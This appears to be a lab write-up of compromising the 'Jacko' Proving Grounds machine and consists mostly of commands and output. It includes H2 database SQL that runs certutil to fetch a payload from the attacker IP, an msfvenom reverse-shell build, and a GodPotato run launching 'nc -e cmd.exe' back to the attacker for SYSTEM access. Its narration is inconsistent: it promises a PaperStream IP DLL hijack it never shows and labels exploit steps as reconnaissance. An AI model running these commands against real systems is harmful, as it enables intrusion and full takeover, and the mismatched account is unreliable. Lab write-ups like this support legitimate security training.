Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
To compromise this lab, you will discover a misconfigured H2 database with default credentials. You will exploit this misconfiguration to gain command execution. Finally, you will escalate privileges by leveraging a DLL hijacking vulnerability in Fujitsu's Paperstream IP program, enhancing your skills in vulnerability detection and privilege escalation techniques.
Scenario
This lab demonstrates exploiting a misconfigured H2 database with default credentials to achieve remote code execution, followed by privilege escalation via a DLL hijacking vulnerability in Fujitsu's PaperStream IP application. Learners will utilize SQL queries to execute commands and leverage an unpatched DLL search path vulnerability to obtain a SYSTEM shell.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services to identify the H2 database on port 8082 and authenticate using default credentials.
- Use SQL queries to achieve command execution and deploy a reverse shell payload.
- Enumerate the target system for interesting applications and discover PaperStream IP.
- Craft a malicious DLL and use the discovered vulnerability to execute arbitrary code.
- Confirm SYSTEM-level access on the target machine and extract critical information.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/jacko]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.173.66
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-16 17:01 -0400
Nmap scan report for 192.168.173.66
Host is up (0.021s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: H2 Database Engine (redirect)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPCThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil -urlcache -split -f http://192.168.45.200/shell.exe C:/Windows/Temp/shell.exe").getInputStream()).useDelimiter("\\Z").next()');This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Temp/shell.exe").getInputStream()).useDelimiter("\\Z").next()');Initial Access
- Port 8082 has H2 database server
- Username is already filled S2 and just by clicking on login, we are in
- Found the H2 database version 1.4.199 and searching online found the payload https://www.exploit-db.com/exploits/49384
- Following the steps from the payload, we are able to execute commands
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.200 LPORT=1234 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exePrivilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
whoami.exe
jacko\tony
# Confirm the identity of the current session.
C:\Windows\System32>whoami.exe /priv
whoami.exe /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone DisabledThis block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
certutil -urlcache -split -f http://192.168.45.200/PrintSpoofer64.exe C:\Windows\Temp\print.exe
**** Online ****
0000 ...
6a00
CertUtil: -URLCache command completed successfully.
# Execute the next evidence-gathering step in the authorized lab.
C:\Windows\System32>C:\Windows\Temp\print.exe -i -c cmd
C:\Windows\Temp\print.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[-] Operation failed or timed out.- printspoofer did not work
- trying different payloads like godpotato and sigma
- all of them failed
- after running the same command couple times, we get the reverse shell
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output confirms the effective user and privilege level of the current session.
.\god.exe -cmd "cmd /c C:\Users\tony\Desktop\nc.exe -e cmd.exe 192.168.45.200 4444"
[*] CombaseModule: 0x140735462309888
[*] DispatchTable: 0x140735464652384
[*] UseProtseqFunction: 0x140735464019984
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\8083adb2-78bc-4eb8-aae4-bc3da058d5be\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002802-00c8-ffff-cd42-43e53215bdc8
[*] DCOM obj OXID: 0x53229a10f50b38cc
[*] DCOM obj OID: 0x9a1240a5d20a803a
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 800 Token:0x772 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3872This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
─(kali㉿kali)-[~/offsec/jacko]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.173.66] 50316
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.
# Confirm the identity of the current session.
C:\Windows\system32>whoami
# Confirm the identity of the current session.
whoami
# Confirm the identity of the current session.
C:\Windows\system32>whoami.exe
whoami.exe
# Move into the directory needed for the next action.
C:\Windows\system32>cd C:\Users
# Move into the directory needed for the next action.
cd C:\Users
# Inspect the directory for files relevant to the next step.
C:\Users>dir
# Inspect the directory for files relevant to the next step.
dir
Volume in drive C has no label.
Volume Serial Number is AC2F-6399
Directory of C:\Users
06/16/2026 03:21 PM <DIR> .
06/16/2026 03:21 PM <DIR> ..
08/02/2024 04:00 AM <DIR> Administrator
06/16/2026 03:21 PM <DIR> DefaultAppPool
04/22/2020 04:22 AM <DIR> Public
08/02/2024 03:58 AM <DIR> tony
0 File(s) 0 bytes
6 Dir(s) 7,207,010,304 bytes free
# Move into the directory needed for the next action.
C:\Users>cd Administrator
# Move into the directory needed for the next action.
cd Administrator
# Move into the directory needed for the next action.
C:\Users\Administrator>cd Desktop
# Move into the directory needed for the next action.
cd Desktop
# Read the file contents for useful configuration or credential data.
C:\Users\Administrator\Desktop>type proof.txt
# Read the file contents for useful configuration or credential data.
type proof.txt
bf7457c84b382b20b9ce84395f68c781
C:\Users\Administrator\Desktop>Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.